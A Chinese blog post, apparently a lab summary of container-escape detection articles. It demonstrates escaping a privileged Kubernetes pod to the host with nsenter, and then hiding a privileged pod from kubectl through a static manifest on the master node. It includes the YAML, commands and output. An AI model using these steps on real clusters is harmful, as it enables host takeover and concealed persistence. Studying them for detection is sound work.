本文是读完 Detecting a Container Escape with Cilium and eBPF 和 使用 Cilium 增强 Kubernetes 网络安全 的一个简单总结。
如何从 Pod 逃逸到 Host
通常为了安全起见,生产环境的 docker image 都要求不使用 root,一般都是在 Dockerfile 中指定 USER xxx,这样启动的 container/pod 是使用非特权的 user,这样的 user 是没法用 sudo 安装软件的。
有时为了能临时 debug,需要安装 vim, curl 之类的命令,又不想改动 Dockerfile 重新 build image,该怎么办呢?
一个 k8s 原生支持的方法是在 deployment 里面指定 securityContext,如下所示
$ cat privileged.yaml
apiVersion: v1
kind: Pod
metadata:
name: privileged-the-pod
spec:
hostPID: true
hostNetwork: true
containers:
- name: privileged-the-pod
image: nginx:latest
ports:
- containerPort: 80
securityContext:
privileged: true
对于 docker container,可以在指定 docker run 命令时,设置 --user 为 0 也能获得 root 的 container。
那么我们就来试一试,在自己的 k8s 上部署上面的 Pod,
runz@node1:~$ kubectl get pod
NAME READY STATUS RESTARTS AGE
privileged-the-pod 1/1 Running 0 14h
runz@node1:~$ kubectl exec -it privileged-the-pod bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl kubectl exec [POD] -- [COMMAND] instead.
root@node1:/# ls
bin boot dev docker-entrypoint.d docker-entrypoint.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
root@node1:/#
虽然切换到了 / 根目录下,但是这里的文件好像并不是 Host VM 上的根目录 ?
这是因为 bash 仍然出在他自己的进程的 cgroup namespace 中,并不是 Host 上的 cgroup namespace,我们选择一个 Host 上的进程,比如 PID 为 1 的进程,肯定就是 Host 的,然后加入它的 namespace。
root@node1:/# nsenter --target 1 --mount --uts --ipc --net /bin/bash
root@node1:/# ls
bin cdrom etc initrd.img lib lost+found mnt proc run snap swap.img tmp var vmlinuz.old
boot dev home initrd.img.old lib64 media opt root sbin srv sys usr vmlinuz
root@node1:/#
nsenter allows you to join the Linux namespaces of a targeted process id (PID).
First, run a container that shares your hosts PID namespace with –pid=host. The container has to be privileged with –privileged, otherwise executing nsenter will fail with an “Operation not permitted” error. The container is kept running indefinitely by executing tail -f /dev/null.
docker run --pid=host --privileged --name admin-container ubuntu:latest tail -f /dev/null
Then exec into the container with nsenter, entering the file system, ipc, utc and network namespace of the host machine’s very first init process (PID = 1):
docker exec -it admin-container nsenter --target 1 --mount --uts --ipc --net /bin/bash
Have a look around and you will notice, you are on the host machine.
终于,我们看到 Host 的根目录文件了,成功的从 Pod 里的虚拟环境逃逸到了 Host 的环境,就像我们直接 ssh 到 Host 上一样了。
我们可以运行 Host 上的任何命令,比如
# docker ps // 显示 Host 所有的 container
# docker exec // 进入到任何一个 container 中
# crictl ps // 与 docker ps 一样
如果一个 container A 缺少常用命令,可以通过 docker run 启动另一个 container B,并且指定加入到 A 的 pid namespace,从而通过 B 自带的命令获取 A 的信息。比如
docker run -it --rm --pid=container:06c6cbbee85e busybox
/ # ps aux
PID USER TIME COMMAND
1 root 0:00 nginx: master process nginx -g daemon off;
31 101 0:00 nginx: worker process
32 101 0:00 nginx: worker process
64 root 0:00 sh
69 root 0:00 ps aux
如何启动一个隐身的 Pod
我们用 kubectl apply -f 创建一个 Pod 时,kubectl 会把这个声明式请求发送给 K8S API Server,并且存在 etcd 上,之后有 k8s scheduler 通知每个 Node 上了 kubelet 创建 pod。 参考 link
从这个流程来看,我们没有办法创建了一个 k8s Pod 并且不显示在 kubectl get pod 的结果中。
但是,有一个例外就是位于 master node 上 /etc/kubernetes/manifests 中的 YAML file
bash-5.0# cd /etc/kubernetes/manifests/
bash-5.0# ls -l
total 20
-rw------- 1 root root 2289 Oct 13 12:40 etcd.yaml
-rw------- 1 root root 3595 Oct 13 12:40 kube-apiserver.yaml
-rw------- 1 root root 2895 Oct 13 12:40 kube-controller-manager.yaml
-rw------- 1 root root 1385 Oct 13 12:40 kube-scheduler.yaml
一般来说,我们是无法从 Pod 里面进入这个目录的,但是有了上文的 pod 逃逸,就变得可能了。
首先,我们要确保自己的 Pod 能被调度到 master node 上,否则如果 pod 运行在 worker node 上是没用的。
有的 k8s 会设置不允许用户的 pod 运行在 master 上,所以我们先要解除这个限制。
kubectl taint node node1 node-role.kubernetes.io/master:NoSchedule-
如果我们没有权限解除,那么好像就没办法完成这个实验了。
接下来还是部署第一节中的 Pod,这次要加上 nodeSelector 选择调度到 master 节点 node1
kubectl label nodes node1 hostname=node1 // 先给 master 打个标签
apiVersion: v1
kind: Pod
metadata:
name: privileged-the-pod
namespace: privilege-test
spec:
hostPID: true
hostNetwork: true
nodeSelector:
hostname: node1
containers:
- name: privileged-the-pod
image: nginx:latest
ports:
- containerPort: 80
securityContext:
privileged: true
然后,我们就能顺利的到达 master node 的 /etc/kubernetes/manifests/ 目录,放入准备好的 hack.yaml
apiVersion: v1
kind: Pod
metadata:
name: hack-latest
hostNetwork: true
# define in namespace that doesn't exist so
# workload is invisible to the API server
#namespace: doesnt-exist
nodeSelector:
hostname: node1
spec:
containers:
- name: hack-latest
image: sublimino/hack:latest
command: ["/bin/sh"]
args: ["-c", "while true; do sleep 10;done"]
securityContext:
privileged: true
# Define the control plane node the privileged pod
# will be scheduled to
nodeName: node1
kubelet 会自动启动 YAML 中指定的 container,但是 kubectl 却不会显示
$ kubectl get pod --all-namespaces
NAMESPACE NAME READY STATUS RESTARTS AGE
default flask-server-786f96dd84-gbjt4 2/2 Running 0 16h
default httpbin-66cdbdb6c5-5dwh9 2/2 Running 0 16h
privilege-test privileged-the-pod 1/1 Running 0 15h
而我们在 master node 中用 docker ps 却能看到这个 container
root@node1:/# crictl ps
CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID
deba740b65526 sublimino/hack@sha256:569f3fd3a626a4cfd50e4556425216a5b8ab3d8bf9476c1b1c615b83ffe4000a 15 hours ago Running hack-latest 0 350ce5f6e5d5f
root@node1:/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
deba740b6552 sublimino/hack "/bin/sh -c 'while t…" 15 hours ago Up 15 hours k8s_hack-latest_hack-latest-node1_default_e3af594b9cf4c4b710645acba74fca37_0